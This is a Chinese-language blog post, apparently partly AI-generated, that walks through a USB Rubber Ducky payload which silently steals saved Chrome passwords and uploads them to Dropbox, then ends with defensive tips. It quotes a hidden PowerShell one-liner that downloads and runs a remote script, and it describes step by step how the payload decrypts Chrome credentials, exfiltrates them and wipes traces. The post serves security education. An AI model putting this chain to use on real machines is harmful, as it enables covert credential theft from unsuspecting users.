浏览器密码渗出详解:Browser-Passwords-Dropbox-Exfiltration 如何静默窃取 Chrome 密码
【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads
在开源项目usbrubberducky-payloads(USB Rubber Ducky 官方 Payload 仓库)中,Browser-Passwords-Dropbox-Exfiltration 是浏览器密码渗出方向的经典样本:它模拟键盘操作在 Windows 10 上静默启动 PowerShell,读取并解密 Chrome 保存的登录凭证,把明文密码文件经 Dropbox 回传到攻击者手中,最后清理痕迹。本文面向安全新手,完整剖析这条渗出链路,并给出实用的防御建议。
这个 Payload 是什么?
它位于仓库的 payloads/library/credentials/ 目录下,整体信息如下:
| 项目 | 说明 |
|---|---|
| 分类 | 凭证窃取 + 数据渗出(Credentials, Exfiltration) |
| 目标系统 | Windows 10 + Google Chrome |
| 攻击模式 | HID(键盘模拟) |
| 回传通道 | Dropbox 云存储 |
| 作者 | DIYS.py(Version 1.0) |
官方 ReadMe.md 把它总结为四个动作:编码注入 → 获取 Chrome 凭证 → 保存明文文件 → 清理现场。作者自称它"相对隐蔽、执行较快"——这正是它值得剖析的原因。
工作流程拆解:从键盘敲击到数据回传
整个攻击分成 4 个阶段,前两个阶段由 Ducky 脚本完成,后两个由内嵌的 PowerShell 脚本完成。
阶段一:隐藏 PowerShell 静默启动
入口脚本 payload.txt 非常短,核心就三步:
DELAY 3000:等待 3 秒,等目标系统准备好;GUI r:模拟Win + R打开"运行"对话框;STRINGLN powershell -w h -NoP -NonI -Exec Bypass ...:一次性键入启动命令并回车。
这条命令的参数值得逐一看懂:
-w h:隐藏窗口——用户看不到任何 PowerShell 弹出;-NoP -NonI:不加载配置文件、不进入交互模式;-Exec Bypass:绕过执行策略限制;- 末尾的
iwr <Dropbox 共享链接>?dl=1; invoke-expression则从 Dropbox 拉取真正的攻击脚本并立即执行(?dl=1是强制下载的关键细节,脚本注释里专门提醒了这一点)。
下图展示了 Windows 系统中 PowerShell 的执行策略环境,也就是上面-Exec Bypass参数要绕过的对象:
阶段二:读取并解密 Chrome 登录数据
真正干脏活的是 Browser-Passwords-Dropbox-Exfiltration.ps1。它的操作顺序是:
- 先杀掉 Chrome 进程——避免 SQLite 数据库文件被占用锁定;
- 通过 P/Invoke 调用系统自带
winsqlite3.dll,打开%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data数据库,查询logins表中未被用户屏蔽(blacklisted_by_user=0)的条目; - 解密密码:密码不是明文存的。旧版 Chrome 用 DPAPI 加密,新版改用 AES-GCM(密钥藏在
Local State的os_crypt.encrypted_key字段)——脚本两条解密路径都实现了; - 把"网站 + 用户名 + 密码"拼成一行行明文,写入临时目录下的
用户名-时间戳_User-Creds.txt; - 悄悄把 Chrome 重新拉起来,用户毫无察觉。
渗出成功后得到的就是这样一个明文"战利品"文件:
阶段三:Dropbox 上传回传
上传逻辑很直白:攻击者事先在自己的脚本里填入Dropbox OAuth Access Token,然后调用 Dropbox 的文件上传 REST API,把临时目录里的明文凭证文件 POST 到自己的云盘。文件名自带受害者USERNAME和时间戳,方便攻击者批量管理多台目标机器。
仓库中姊妹 Payload 的接收端演示动图,直观展示了渗出数据"到达"接收方的过程(数据实时出现在本地接收服务中):
阶段四:痕迹清理
最后一步是"打扫战场",脚本依次执行:
- 清空 Temp 临时文件夹;
- 删除注册表中的"运行"框历史记录(RunMRU);
- 删除 PowerShell 历史文件;
- 清空回收站。
做完这一切后脚本exit退出。用户视角里:电脑一切如常,只是 Chrome 被无感重启了一次。
关键文件导读
| 文件 | 作用 |
|---|---|
| payload.txt | 主 Ducky 脚本:模拟键盘 + 隐藏 PowerShell 一行注入 |
| Version 01/payload.txt | 带ATTACKMODE HID声明的变体版本 |
| Version 01/Browser-Passwords-Dropbox-Exfiltration.ps1 | 核心脚本:杀进程、读库、解密、上传、清痕 |
| ReadMe.md | 使用说明、工作流与已知问题 |
提示:
Version 01目录中脚本要求攻击者按 Dropbox 开发者指南创建 OAuth 凭证并填入 Token——这也是该 Payload 最大的"使用门槛"。
新手防御指南:如何保护自己的浏览器密码
理解攻击链路后,防御思路就很清晰了,按性价比排序:
- 启用硬件密钥(Passkey/FIDO2)登录:物理安全密钥无法像数据库密码那样被批量拖走,是对抗浏览器凭证渗出最有效的一招;
- 收紧 PowerShell 执行策略:用
Get-ExecutionPolicy检查并收紧本机策略,-Exec Bypass在更严格的域策略约束下会失效; - 依赖行为型杀毒软件:官方 ReadMe 中明确记录了 AVG 曾拦截该 Payload 对 Chrome 数据的访问——现代杀软的进程行为监控是有效的兜底层;
- 定期审查本地凭证目录:关注
%LOCALAPPDATA%\Google\Chrome\User Data\的异常访问与修改时间; - 不要随意插入来路不明的 USB 设备:HID 攻击的前提是物理接触,这是所有技术防御之外的第一道关卡。
小结
Browser-Passwords-Dropbox-Exfiltration 用一个不到 30 行的 Ducky 脚本加一个约百行的 PowerShell 脚本,演示了浏览器密码渗出的完整闭环:静默注入 → 凭证解密 → 云盘回传 → 痕迹清除。它的价值在于提醒我们:只要目标机器上存有明文可解密的浏览器凭证,物理接触几分钟就足以让数据"飞"到攻击者的 Dropbox 里。防护的重心,应当放在硬件密钥与系统策略这些"让解密和注入都变得困难"的环节上。
(本文内容来自开源学习仓库,仅用于安全研究与防御教学,请勿对未授权系统实施任何操作。)
【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考